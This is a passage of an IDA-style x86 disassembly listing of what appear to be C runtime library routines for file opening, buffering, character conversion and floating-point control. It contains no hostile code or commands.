dword_4DBC78, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43D0C8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DBC78 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D348 jl short loc_423990 xor edx, edx mov ecx, offset dword_43D0D8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DCCA0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43D138 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB998, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBB40 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DBC50, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB958, 16h mov dword_4DB95C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB960 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB95C, 0 mov dword_4DB958, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 27009D7h mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 2620000h test eax, eax jnz short loc_423C11 push esi nop call near ptr 2660919h loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 2680ABEh push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DCCA0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB95C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C48 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBB48 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427938 push esi nop call near ptr 2600591h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CB50C push esi push ebx nop call near ptr 2610000h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DBB48, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DBA14 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2610000h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DBA24 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2810000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2810000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 2600591h jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCDA0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCCA0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DBA14, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43CBE4 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBA24 call near ptr 280105Fh nop test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB958, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DBA14, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C9D8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43CBE4 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DBA24 nop call near ptr 2810000h test eax, eax mov eax, dword_43CBE4 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB958, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBA24 nop call near ptr 2810000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 